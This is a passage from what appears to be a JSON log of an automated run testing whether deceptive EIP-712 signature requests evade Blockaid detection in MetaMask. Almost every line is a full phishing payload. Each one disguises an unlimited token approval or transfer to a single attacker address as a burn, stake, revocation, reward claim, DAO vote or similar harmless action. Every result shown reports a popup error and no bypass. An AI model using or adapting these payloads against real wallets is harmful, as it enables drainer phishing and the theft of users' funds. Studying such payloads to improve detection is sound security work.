Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T18:02:33.883Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T18:02:43.445Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T18:02:53.004Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T18:03:02.565Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T18:03:12.119Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T18:03:21.667Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T18:03:31.222Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN39-EIP3009-022", "timestamp": "2026-01-31T18:03:40.786Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x053c931e42f1d4f22e27fb5c50fb29b1c84f5e5a7a648ea7048487148f789527\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN39-EIP3009-054", "timestamp": "2026-01-31T18:03:50.344Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x19bbbc74cc1a3d45e935b7ac4511d3a4b30f2cd560658187db34ea7c609cc727\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T18:03:59.903Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T18:04:09.442Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T18:04:19.003Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T18:04:28.554Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T18:04:38.118Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T18:04:47.667Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T18:04:57.218Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T18:05:06.758Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T18:05:16.320Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T18:05:25.869Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 